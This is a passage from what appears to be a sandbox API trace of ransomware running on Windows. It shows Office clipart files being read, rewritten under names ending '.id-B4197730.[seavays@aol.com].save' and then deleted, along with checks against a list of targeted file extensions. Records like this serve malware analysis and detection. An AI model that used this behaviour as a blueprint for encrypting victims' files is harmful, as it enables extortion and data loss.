office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0179.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0179.892] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0179.892] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0179.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0179.894] GetLastError () returned 0x0 [0179.894] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1a60, lpOverlapped=0x0) returned 1 [0179.896] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1a70, lpOverlapped=0x0) returned 1 [0179.898] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0179.898] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0179.898] SetEndOfFile (hFile=0x544) returned 1 [0179.898] CloseHandle (hObject=0x544) returned 1 [0179.899] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0179.899] SetEndOfFile (hFile=0x518) returned 1 [0179.903] CloseHandle (hObject=0x518) returned 1 [0179.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0179.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 1 [0179.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0179.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0179.905] lstrlenW (lpString=".doc") returned 4 [0179.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.905] lstrlenW (lpString=".docx") returned 5 [0179.905] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0179.905] lstrlenW (lpString=".pdf") returned 4 [0179.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.905] lstrlenW (lpString=".xls") returned 4 [0179.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.905] lstrlenW (lpString=".xlsx") returned 5 [0179.905] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0179.905] lstrlenW (lpString=".ppt") returned 4 [0179.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0179.905] lstrlenW (lpString=".zip") returned 4 [0179.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.906] lstrlenW (lpString=".rar") returned 4 [0179.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.906] lstrlenW (lpString=".bz2") returned 4 [0179.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.906] lstrlenW (lpString=".7z") returned 3 [0179.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0179.906] lstrlenW (lpString=".dbf") returned 4 [0179.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0179.906] lstrlenW (lpString=".1cd") returned 4 [0179.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0179.906] lstrlenW (lpString=".jpg") returned 4 [0179.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.908] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=10632) returned 1 [0179.908] CloseHandle (hObject=0x518) returned 1 [0179.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 0x220 [0179.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0179.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0179.910] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0179.910] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0179.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0179.911] GetLastError () returned 0x0 [0179.911] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2988, lpOverlapped=0x0) returned 1 [0179.914] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2990, lpOverlapped=0x0) returned 1 [0180.059] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0180.059] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0180.059] SetEndOfFile (hFile=0x544) returned 1 [0180.059] CloseHandle (hObject=0x544) returned 1 [0180.059] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0180.059] SetEndOfFile (hFile=0x518) returned 1 [0180.064] CloseHandle (hObject=0x518) returned 1 [0180.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0180.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0180.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0180.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0180.748] lstrlenW (lpString=".doc") returned 4 [0180.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.748] lstrlenW (lpString=".docx") returned 5 [0180.748] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0180.748] lstrlenW (lpString=".pdf") returned 4 [0180.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.748] lstrlenW (lpString=".xls") returned 4 [0180.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.748] lstrlenW (lpString=".xlsx") returned 5 [0180.749] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0180.749] lstrlenW (lpString=".ppt") returned 4 [0180.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0180.749] lstrlenW (lpString=".zip") returned 4 [0180.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.749] lstrlenW (lpString=".rar") returned 4 [0180.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.749] lstrlenW (lpString=".bz2") returned 4 [0180.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.749] lstrlenW (lpString=".7z") returned 3 [0180.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0180.749] lstrlenW (lpString=".dbf") returned 4 [0180.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0180.749] lstrlenW (lpString=".1cd") returned 4 [0180.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0180.749] lstrlenW (lpString=".jpg") returned 4 [0180.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.920] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=16492) returned 1 [0180.920] CloseHandle (hObject=0x36c) returned 1 [0180.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 0x220 [0180.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0180.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.921] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0180.922] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0180.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0180.923] GetLastError () returned 0x0 [0180.923] ReadFile (in: hFile=0x36c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x406c, lpOverlapped=0x0) returned 1 [0180.925] WriteFile (in: hFile=0x548, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x4070, lpOverlapped=0x0) returned 1 [0180.927] ReadFile (in: hFile=0x36c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0180.927] WriteFile (in: hFile=0x548, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0180.927] SetEndOfFile (hFile=0x548) returned 1 [0180.927] CloseHandle (hObject=0x548) returned 1 [0180.928] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0180.928] SetEndOfFile (hFile=0x36c) returned 1 [0182.134] CloseHandle (hObject=0x36c) returned 1 [0182.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 1 [0182.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0182.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0182.689] lstrlenW (lpString=".doc") returned 4 [0182.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.689] lstrlenW (lpString=".docx") returned 5 [0182.689] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.689] lstrlenW (lpString=".pdf") returned 4 [0182.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.689] lstrlenW (lpString=".xls") returned 4 [0182.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.690] lstrlenW (lpString=".xlsx") returned 5 [0182.690] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.690] lstrlenW (lpString=".ppt") returned 4 [0182.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0182.690] lstrlenW (lpString=".zip") returned 4 [0182.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.690] lstrlenW (lpString=".rar") returned 4 [0182.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.690] lstrlenW (lpString=".bz2") returned 4 [0182.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.690] lstrlenW (lpString=".7z") returned 3 [0182.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0182.690] lstrlenW (lpString=".dbf") returned 4 [0182.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0182.690] lstrlenW (lpString=".1cd") returned 4 [0182.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0182.691] lstrlenW (lpString=".jpg") returned 4 [0182.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0184.130] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.130] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.131] GetLastError () returned 0x0 [0184.131] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xd28, lpOverlapped=0x0) returned 1 [0184.134] WriteFile (in: hFile=0x534, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xd30, lpOverlapped=0x0) returned 1 [0184.135] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0184.135] WriteFile (in: hFile=0x534, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0184.135] SetEndOfFile (hFile=0x534) returned 1 [0184.136] CloseHandle (hObject=0x534) returned 1 [0184.136] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.136] SetEndOfFile (hFile=0x530) returned 1 [0184.139] CloseHandle (hObject=0x530) returned 1 [0184.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0184.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0184.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0184.141] lstrlenW (lpString=".doc") returned 4 [0184.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.141] lstrlenW (lpString=".docx") returned 5 [0184.141] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0184.141] lstrlenW (lpString=".pdf") returned 4 [0184.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.141] lstrlenW (lpString=".xls") returned 4 [0184.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.141] lstrlenW (lpString=".xlsx") returned 5 [0184.141] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0184.141] lstrlenW (lpString=".ppt") returned 4 [0184.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0184.141] lstrlenW (lpString=".zip") returned 4 [0184.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.141] lstrlenW (lpString=".rar") returned 4 [0184.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.141] lstrlenW (lpString=".bz2") returned 4 [0184.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.141] lstrlenW (lpString=".7z") returned 3 [0184.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0184.142] lstrlenW (lpString=".dbf") returned 4 [0184.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0184.142] lstrlenW (lpString=".1cd") returned 4 [0184.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0184.142] lstrlenW (lpString=".jpg") returned 4 [0184.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.143] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=34676) returned 1 [0184.143] CloseHandle (hObject=0x530) returned 1 [0184.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 0x220 [0184.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0184.144] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.144] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.145] GetLastError () returned 0x0 [0184.145] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x8774, lpOverlapped=0x0) returned 1 [0184.148] WriteFile (in: hFile=0x534, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x8780, lpOverlapped=0x0) returned 1 [0184.159] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0184.159] WriteFile (in: hFile=0x534, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0184.159] SetEndOfFile (hFile=0x534) returned 1 [0184.160] CloseHandle (hObject=0x534) returned 1 [0184.160] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.160] SetEndOfFile (hFile=0x530) returned 1 [0184.164] CloseHandle (hObject=0x530) returned 1 [0184.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 1 [0184.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0184.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0184.166] lstrlenW (lpString=".doc") returned 4 [0184.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.166] lstrlenW (lpString=".docx") returned 5 [0184.166] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.166] lstrlenW (lpString=".pdf") returned 4 [0184.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.166] lstrlenW (lpString=".xls") returned 4 [0184.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.166] lstrlenW (lpString=".xlsx") returned 5 [0184.166] lstrcmpiW (lpString1=".xlsx", 